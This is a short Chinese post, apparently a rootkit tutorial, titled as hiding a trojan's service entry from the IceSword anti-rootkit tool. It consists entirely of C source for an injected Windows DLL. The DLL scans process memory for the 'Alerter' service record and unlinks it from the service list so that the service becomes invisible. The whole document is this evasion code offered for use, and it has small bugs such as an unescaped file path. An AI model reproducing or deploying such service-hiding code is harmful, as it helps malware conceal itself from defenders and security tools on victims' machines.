在冰刃下隐藏木马的服务项

 void seArchDWORD(int Addr);
 BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReAson,LPVOID lpvReserved)
 {
 switch (fdwReAson){
   
 case DLL_PROCESS_ATTACH:
   {  
    FILE* pFile;
    pFile = fopen("c:\\seArch.txt","a+");
    fputs("begin\n",pFile);
    fclose(pFile);
    int i;
    for (i = 0x300000;i<0x5000000;i+=4){
     printf("%x\n",i);
     __try{
      if (0 == wcscmp((const unsigned short *)i,L"Alerter")){
       char temp [32];
       sprintf(temp,"found Alerter At: %x\n",i);
       FILE* pFile;
       pFile = fopen("c:\\seArch.txt","a+");
       fputs(temp,pFile);
       fclose(pFile);
       seArchDWORD(i);
       //break;
      }
     }
     __except(EXCEPTION_EXECUTE_HANDLER ){
      printf("error\n");
      i-=4;
      i += 0x1000;
      //_getche();
     }
    } 

   }
 case DLL_THREAD_ATTACH:
   break;
 case DLL_THREAD_DETACH:
   break;
 case DLL_PROCESS_DETACH:
   break;
 }
 return TRUE;
 }
 //--------------------------------------------------------------------
 void seArchDWORD(int Addr)
 {
 int i;
 for (i = 0x300000;i<0x5000000;i+=4){
   printf("%x\n",i);
   __try{
    if (Addr == *(ULONG*)i){
     char temp [32];
     sprintf(temp,"found the point At: %x\n",i);
     FILE* pFile;
     pFile = fopen("c:\seArch.txt","a+");
     fputs(temp,pFile);
     fputws((const unsigned short *)(*(ULONG*)(i+4)),pFile);
     fputs("\n",pFile);
     fclose(pFile);
     //break;
     if (0 == wcscmp((const unsigned short *)(*(ULONG*)(i+4)),L"Alerter")){
      //found the right one
      PFAKE_SERVICE_RECORD pRecord;
      pRecord = (PFAKE_SERVICE_RECORD)(i-8);
      *((DWORD*)pRecord->Prev+1) = (DWORD)(pRecord->Next);
      *((DWORD*)pRecord->Next) = (DWORD)(pRecord->Prev);
      }
    }
   }
   __except(EXCEPTION_EXECUTE_HANDLER ){
    printf("error\n");
    i-=4;
    i += 0x1000;
    //_getche();
   }
 }

 }